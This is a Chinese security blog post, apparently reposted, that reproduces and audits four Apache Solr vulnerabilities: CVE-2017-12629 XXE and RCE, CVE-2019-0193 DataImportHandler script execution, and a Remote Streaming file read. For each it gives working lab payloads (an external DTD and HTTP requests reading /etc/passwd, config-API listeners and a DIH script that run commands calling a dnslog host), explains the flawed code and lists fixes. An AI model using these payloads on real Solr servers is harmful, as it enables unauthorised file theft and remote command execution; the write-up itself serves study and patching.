|
代码审计角度之solr漏洞小结
原创 milkii0 雷神众测
2022-04-07 15:10
转载自https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652496565&idx=1&sn=404edf169553620fffc88f53f801c5c4&chksm=f2584106c52fc810518e6ba9fbc98ef2fdaed94824891214d696531bec88eace73befd9e0f9b&mpshare=1&scene=23&srcid=0407AuqwheBs1cJJZpfLKamb&sharer_sharetime=1649315899223&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd
STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,
不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
Solr 是开源的,基于 Lucene Java 的搜索服务器。
易于加入到 Web 应用程序中,会生成基于HTTP 的管理界面。
后台管理界面Dashboard仪表盘中,可查看当前Solr的版本信息。
CVE-2017-12629-XXE
影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
复现过程
启动环境后打开管理界面:
http://192.168.77.128:8983/solr/# /
solr-spec版本:7.0.1,lucene-spec版本:7.0.1,符合漏洞要求
利用外部实体读取敏感文件信息
1.开一个web服务,在下面创建一个1.dtd文件,文件内容如下
- <!ENTITY % file SYSTEM "file:///etc/passwd">
- <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
复制代码
2读取Linux下/etc/passwd文件信息,引用外部实体。
payload:
- http://192.168.77.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.77.128%2f1.dtd%22%3E%25
复制代码
URL解码后:
- http://192.168.77.128:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://192.168.77.128/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
复制代码
本地DTD读取文件:
https://zhuanlan.zhihu.com/p/83713259
漏洞原理:
Lucene包含了一个查询解析器支持XML格式进行数据查询,并且解析xml数据时,未设置任何防御措施,导致我们可引入任意恶意外部实体
而Solr由于使用Lucenne作为核心语义分析引擎,因此受到影响
漏洞点:
- org.apache.lucene.queryparser.xml.CoreParser#parseXML
复制代码
此处为解析xml数据的方法,其中并未包含任何xxe防御措施
因此可正常解析我们引入的恶意外部实体
- static Document parseXML(InputStream pXmlFile) throws ParserException {
- DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
- DocumentBuilder db = null;
- try {
- db = dbf.newDocumentBuilder();
- }
- catch (Exception se) {
- throw new ParserException("XML Parser configuration error", se);
- }
- org.w3c.dom.Document doc = null;
- try {
- doc = db.parse(pXmlFile);
- }
- catch (Exception se) {
- throw new ParserException("Error parsing XML stream:" + se, se);
- }
- return doc;
- }
复制代码 漏洞修复:
官方修复是增加XXE通用防御,这也是我们常用的xxe修复方法
- DocumentBuilderFactory.setFearture("http://javax.xml.XMLConstants/feature/secure-processing")
复制代码
以下列出一些通过设置解析器行为,达到对xee进行限制的方法
- // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
- setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- // 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
- setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
- setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC
复制代码
CVE-2017-12629-RCE
影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
复现过程
触发命令执行的事件有两种:postCommit 和 newSearcher
使用newSearcher
其中demo为存在的core名称
数据包:
- POST /solr/demo/config HTTP/1.1
- Host: 192.168.77.128:8983
- Connection: close
- Content-Type: application/json
- Content-Length: 178
- {
- "add-listener" : {
- "event":"newSearcher",
- "name":"newlistener1",
- "class":"solr.RunExecutableListener",
- "exe":"ping",
- "dir":"/usr/bin/",
- "args":["3pqsrm.dnslog.cn"]
- }
- }
复制代码
使用postCommit
数据包1:
- POST /solr/demo/config HTTP/1.1
- Host: 192.168.77.128:8983
- Connection: close
- Content-Type: application/json
- Content-Length: 177
- {
- "add-listener" : {
- "event":"postCommit",
- "name":"newlistener3",
- "class":"solr.RunExecutableListener",
- "exe":"ping",
- "dir":"/usr/bin/",
- "args":["3pqsrm.dnslog.cn"]
- }
- }
复制代码
发送该请求后一直没有返回数据,取消重发会回显该name已经存在,所以发送第二个数据包
数据包2(数据随便输):
- POST /solr/demo/update HTTP/1.1
- Host: 192.168.77.128:8983
- Connection: close
- Content-Type: application/json
- Content-Length: 17
- [{"id":"test"
- }]
复制代码
更新后发现两条记录都在(之前因为没有返回数据又试了一次)
漏洞原理
RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统
漏洞点:
- org.apache.solr.core.RunExecutableListener# exec
复制代码
我们看见一下这行代码执行了命令,并传入了三个参数
- proc = Runtime.getRuntime().exec(cmd, envp ,dir);
复制代码
查看API
cmdarray:命令字符串
envp:代表“环境”变量设置,如果envp是null ,则子进程继承当前进程的环境设置
dir:新子进程的工作目录由dir指定 。如果dir是null ,则子进程继承当前进程的当前工作目录。
那么我们怎么才能控制以上这三个参数呢?
在初始化时,通过初始化传入的参数args
分别获得这三个参数cmd,dir,envp
找到调用exec()的有两处
- <pre><code>org.apache.solr.core.RunExecutableListener# postCommit</code></pre><pre><code>org.apache.solr.core.RunExecutableListener# newSearcher</code></pre>
复制代码
因此我们可以config API调用以上两个命令执行命令
关于config API更多信息可查看传送门中放置的官网链接
漏洞修复
官方修复直接将该类删除
CVE-2019-0193
影响版本
Apache solr < 8.2.0
复现过程
在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制
vulhub环境下,进入后会让我们新建一个core
我们需要在服务器中新建,这里新建会报错找不到配置文件
新建test core命令
- docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
复制代码
刷新页面即可看见新建的core
根据以下步骤进行代码执行
exp:
- <dataConfig>
- <dataSource type="URLDataSource"/>
- <script><![CDATA[
- function poc(){ java.lang.Runtime.getRuntime().exec("ping 0ytihf.dnslog.cn");
- }
- ]]></script>
- <document>
- <entity name="stackoverflow"
- url="https://stackoverflow.com/feeds/tag/solr"
- processor="XPathEntityProcessor"
- forEach="/feed"
- transformer="script:poc" />
- </document>
- </dataConfig
复制代码
执行成功后,上方会出现绿色修勾勾
命令执行成功
漏洞原理
DataImportHandler 是一个可选但流行的模块,用于从数据库和其他来源提取数据。它有一个特性,即整个
DIH(the Data Import Handler,数据导入处理程序) 配置可以来自请求的dataConfig参数
DIH 管理屏幕的调试模式使用它来方便 DIH 配置的调试/开发。因为 DIH 配置可以包含脚本,并未对脚本进行任何过滤检测,所以这个参数存在安全风险
从 Solr 的8.2.0版本开始,使用这个参数需要将 Java System 属性 enable.dih.dataConfigParam 设置为 true,此时也将存在该漏洞
DHI和script官方文档链接放在传送门中
我们可以根据官方文档的说明,插入脚本并执行,其中entity标签支持jndi以及script
漏洞点:
- <pre><code>org.apache.solr.handler.dataimport.DataImportHandler</code></pre><pre><code>其中handleRequestBody()函数接收了前端传入的dataConfig</code></pre>
复制代码
后面就不再分析了,因为这个漏洞是solr该模块允许执行脚本,官方文档中也描述了该模块以及脚本的使用
漏洞修复
官方修复增加enable.dih.dataConfigParam参数,默认=false,仅在启动solr时带上参数enable.dih.dataConfigParam=true才可启动debug模式
Remote-Streaming-Fileread(任意文件读取)
复现过程
1.获取cores
- GET /solr/admin/cores?_=1637649371526&show=schema&wt=json HTTP/1.1
- Host: 192.168.8.128:8983
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
- Accept: application/json, text/plain, */*
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.8.128:8983/solr/
- X-Requested-With: XMLHttpRequest
- DNT: 1
- Connection: close
复制代码
存在的core名为demo
2. 修改demo的配置,开启RemoteStreaming
- POST /solr/demo/config?_=1637649371526&show=schema&wt=json HTTP/1.1
- Host: 192.168.8.128:8983
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
- Accept: application/json, text/plain, */*
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.8.128:8983/solr/
- X-Requested-With: XMLHttpRequest
- DNT: 1
- Connection: close
- Content-Length: 82
- {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
复制代码
当出现以下信息时,表示漏洞可能存在:
This response format is experimental. It is likely to change in the future
3.读取敏感文件
数据包:
- GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
- Host: 192.168.8.128:8983
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
- Accept: application/json, text/plain, */*
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.8.128:8983/solr/
- X-Requested-With: XMLHttpRequest
- DNT: 1
- Connection: close
- Content-Length: 0
复制代码
读取成功
漏洞原理
官方文档中写明,
solrconfig.xml中enableRemoteStreaming="true"时允许远程流
因此我们可以通过config API,启用远程读取流
enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求
DumpRequestHandler = “true”,它将允许任何人查看系统上的任何文件。
漏洞点:
- solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java
复制代码
其中通过以下代码获取前端传入数据
- strs = params.getParams( CommonParams.STREAM_FILE );
复制代码
在进行文件获取时,未对传入的strs进行任何检测和过滤,并生成stream
- GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
- Host: 192.168.8.128:8983
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
- Accept: application/json, text/plain, */*
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.8.128:8983/solr/
- X-Requested-With: XMLHttpRequest
- DNT: 1
- Connection: close
- Content-Length: 0
复制代码
在solr/solrj/src/java/org/apache/solr/common/params/CommonParams.java中,写明了stream.file即为传入的CommonParams.STREAM_FILE
其中若传入url可导致ssrf,原理同上
漏洞修复
1. 控制solr访问权限,增加访问口令
2. 不对外网开放solr
3. 关闭ConfigAPI:在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true;然后关闭远程读取文件流,默认不开启
|
|